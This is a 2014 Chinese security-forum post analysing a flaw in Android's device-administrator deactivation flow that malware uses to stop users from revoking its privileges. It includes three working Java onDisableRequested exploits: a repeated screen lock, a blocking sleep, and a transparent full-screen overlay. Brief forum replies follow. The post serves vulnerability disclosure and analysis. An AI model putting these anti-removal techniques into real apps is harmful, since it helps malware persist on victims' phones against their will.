首页
社区
课程
招聘
[原创]Android设备管理器漏洞2-阻止用户取消激活设备管理器
发表于: 2014-10-10 16:31 15859

[原创]Android设备管理器漏洞2-阻止用户取消激活设备管理器

2014-10-10 16:31
15859
2013年6月,俄罗斯安全厂商卡巴斯基发现了史上最强手机木马-Obad.A,该木马利用了一个未知的Android设备管理器漏洞(ANDROID-9067882),已激活设备管理器权限的手机木马利用该漏洞,可以在设置程序的设备管理器列表中隐藏,这样用户就无法通过正常途径取消该手机木马的设备管理器权限,从而达到无法卸载的目的。Android4.2版本以上系统已经修复该漏洞。(漏洞详情:http://blog.csdn.net/androidsecurity/article/details/9124747)

   日前,百度安全实验室发现手机木马开始利用另一新的Android设备管理器漏洞,新的设备管理器漏洞是由于Android系统在取消激活设备管理器流程的设计缺陷引起的,恶意软件利用该设计缺陷,可以阻止用户取消激活设备管理器,进而达到反卸载的目的。该漏洞存在于Android系统所有版本。

一、取消激活设备管理器源代码分析

      Android取消激活设备管理器流程源代码:

 
 
      Android取消激活设备管理器基本流程图:

 

        1、ActivityManagerNative.getDefault().stopAppSwitch()方法功能

             为什么第一步就调用该函数呢?通过源代码注释可以看出调用该函数目的是:禁止其它程序在用户取消设备管理器操作过程弹出Dialog,影响用户操作。
        stopAppSwitch()源代码如下图所示:

 

         通过代码我们发现该方法的具体实现是:
          规定在APP_SWITCH_DELAY_TIME时间内禁止进行Activity切换。该方法调用后,所有应用的Activity调用请求会被系统放到挂起的请求队列中。被挂起的Activity调用请      求会在APP_SWITCH_DELAY_TIME时间后才会被系统执行。
 
        通过调用stopAppSwitch()方法,系统保证在进入取消设备管理器界面后,5秒内不会进行Activity的切换。
 
二、漏洞原理分析

      通过以上流程我们发现,在第8步设备管理器调用
      DevicePolicyManagerService.removeActiveAdmin()取消激活设备管理器之前,DevicePolicyManagerService会调用应用的onDisableRequested方法获取取消激活的警示信   息。如果onDisableRequested函数返回内容为空的,第8步就会自动执行;如果onDisableRequested函数返回内容不能为空,会弹出Dialog显示返回的警示信息,提示用户是     否取消激活。用户点击确认后才会执行第8步。

     如何阻止流程执行到第8步呢?
     onDisableRequested是唯一在流程第8步之前被调用的函数。为了阻止流程走到第8步,onDisableRequested函数满足以下条件即可:
    1、返回内容不能为空,这样才可以使设备管理器弹出取消激活设备管理器警示信息  Dialog。
    2、通过Activity切换的方式使设备管理器弹出的警示信息Dialog消失。使用户无法操作Dialog。
     如果做到以上两点,程序即可成功阻止用户取消激活设备管理器操作。
 
三、漏洞利用方法

      以下提出三种可以利用该流程设计缺陷,成功阻止用户取消设备管理器的方法。

     1、通过锁屏方式
  
[java] view plaincopy
@Override  
public CharSequence onDisableRequested(Context context, Intent intent) {  
    // TODO Auto-generated method stub  
        Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");  
        intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
    context.startActivity(intent1);  
       final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);  
       dpm.lockNow();  
       new Thread(new Runnable() {            
        @Override  
        public void run() {  
            int i = 0;  
            while(i<70){  
                dpm.lockNow();  
                try {  
                    Thread.sleep(100);  
                    i++;  
                } catch (InterruptedException e) {  
                    e.printStackTrace();  
                }  
            }  
        }  
    }).start();  
    return "This is a onDisableRequested response message";  
}  
 
      2、通过阻塞函数返回方式
 
[java] view plaincopy
@Override  
public CharSequence onDisableRequested(Context context, Intent intent) {  
    // TODO Auto-generated method stub  
        Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");  
        intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
    context.startActivity(intent1);  
       try {  
        Thread.sleep(7000);  
    } catch (InterruptedException e) {  
        e.printStackTrace();  
    }  
    return "This is a onDisableRequested response message";  
}  

    3、通过透明窗口劫持方式
[java] view plaincopy
@Override  
public CharSequence onDisableRequested(Context context, Intent intent) {  
    // TODO Auto-generated method stub  
        Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");  
        intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
    context.startActivity(intent1);  
    WindowManager.LayoutParams wmParams;  
    final WindowManager mWindowManager;  
    wmParams = new WindowManager.LayoutParams();  
    mWindowManager = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);  
    wmParams.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;   
       wmParams.format = PixelFormat.RGBX_8888;   
       wmParams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;        
       wmParams.gravity = Gravity.LEFT | Gravity.TOP;  
       wmParams.alpha = 0;  
       wmParams.x = 0;  
       wmParams.y = 0;  
       wmParams.width = WindowManager.LayoutParams.MATCH_PARENT;  
       wmParams.height = WindowManager.LayoutParams.MATCH_PARENT;  
       final View contentView = new Button(context);  
       mWindowManager.addView(contentView, wmParams);  
       new Thread(new Runnable() {            
        @Override  
        public void run() {  
            try {  
                Thread.sleep(7000);  
            } catch (InterruptedException e) {  
                // TODO Auto-generated catch block  
                e.printStackTrace();  
            }  
            mWindowManager.removeView(contentView);  
        }  
    }).start();  
    return "This is a onDisableRequested response message";  
}  

   以上方法都会在onDisableRequested中,采用不同方式使用户在5秒时间内无法操作界面。因为5秒后Activity切换请求才会被系统执行。

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 29
活跃值: (499)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
顶顶顶顶顶!
2014-10-10 16:42
0
雪    币: 370
活跃值: (1176)
能力值: ( LV9,RANK:310 )
在线值:
发帖
回帖
粉丝
3
前排支持大大!
2014-10-10 19:50
0
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
漏洞2?。。。漏洞1发在哪了。。
2014-10-10 22:39
0
雪    币: 62
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
强烈支持!!建议为精华帖!!!
2014-10-12 10:33
0
游客
登录 | 注册 方可回帖
返回
//